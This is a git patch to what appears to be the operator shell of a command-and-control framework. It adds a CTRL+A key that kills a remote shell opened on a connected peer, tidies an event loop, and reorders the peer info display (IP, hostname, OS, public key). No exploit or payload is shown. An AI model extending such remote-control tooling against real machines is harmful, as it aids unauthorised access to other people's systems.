From 9a6562f440ec7d6a3cfd1422da1781f34788fc7e Mon Sep 17 00:00:00 2001 From: CPunch Date: Fri, 15 Apr 2022 15:27:50 -0500 Subject: [PATCH] Shell: CTRL+A now kills the shell --- shell/src/sclient.c | 5 ++--- shell/src/scmd.c | 7 ++++++- shell/src/speer.c | 2 +- 3 files changed, 9 insertions(+), 5 deletions(-) diff --git a/shell/src/sclient.c b/shell/src/sclient.c index 11a3ee5..e2c48c5 100644 --- a/shell/src/sclient.c +++ b/shell/src/sclient.c @@ -254,7 +254,7 @@ void shellC_connectToCNC(tShell_client *client, char *ip, char *port) { } bool shellC_poll(tShell_client *client, int timeout) { - struct sLaika_pollEvent *evnts, *evnt; + struct sLaika_pollEvent *evnts; int numEvents, i; /* run any scheduled tasks, this could be moved but it works fine here for now */ @@ -268,8 +268,7 @@ bool shellC_poll(tShell_client *client, int timeout) { return false; for (i = 0; i < numEvents; i++) { - evnt = &evnts[i]; - laikaP_handleEvent(evnt); + laikaP_handleEvent(&evnts[i]); } /* flush any events after (eg. made by a packet handler) */ diff --git a/shell/src/scmd.c b/shell/src/scmd.c index 825e404..94a8bfe 100644 --- a/shell/src/scmd.c +++ b/shell/src/scmd.c @@ -77,6 +77,7 @@ void openShellCMD(tShell_client *client, int args, char *argc[]) { peer = shellS_getPeer(client, id); PRINTINFO("Opening shell on peer %04d...\n"); + PRINTINFO("Use CTRL+A to kill the shell\n"); /* open shell on peer */ shellT_getTermSize(&cols, &rows); @@ -93,7 +94,11 @@ void openShellCMD(tShell_client *client, int args, char *argc[]) { if (sz <= 0) /* sanity check */ break; - shellC_sendDataShell(client, buf, sz); + /* ctrl + a; kill shell */ + if (buf[0] == '\01') + shellC_closeShell(client); + else + shellC_sendDataShell(client, buf, sz); } } } diff --git a/shell/src/speer.c b/shell/src/speer.c index 7d48a4a..4f67ef7 100644 --- a/shell/src/speer.c +++ b/shell/src/speer.c @@ -49,5 +49,5 @@ void shellP_printInfo(tShell_peer *peer) { char buf[128]; /* i don't expect bin2hex to write outside this, but it's only user-info and doesn't break anything (ie doesn't write outside the buffer) */ sodium_bin2hex(buf, sizeof(buf), peer->pub, crypto_kx_PUBLICKEYBYTES); - shellT_printf("\t%s@%s\n\tTYPE: %s\n\tOS: %s\n\tPUBKEY: %s\n\tINET: %s\n", peer->hostname, peer->ipv4, shellP_typeStr(peer), shellP_osTypeStr(peer), buf, peer->inet); + shellT_printf("\t%s-%s\n\tOS: %s\n\tINET: %s\n\tPUBKEY: %s\n", peer->ipv4, peer->hostname, shellP_osTypeStr(peer), peer->inet, buf); } \ No newline at end of file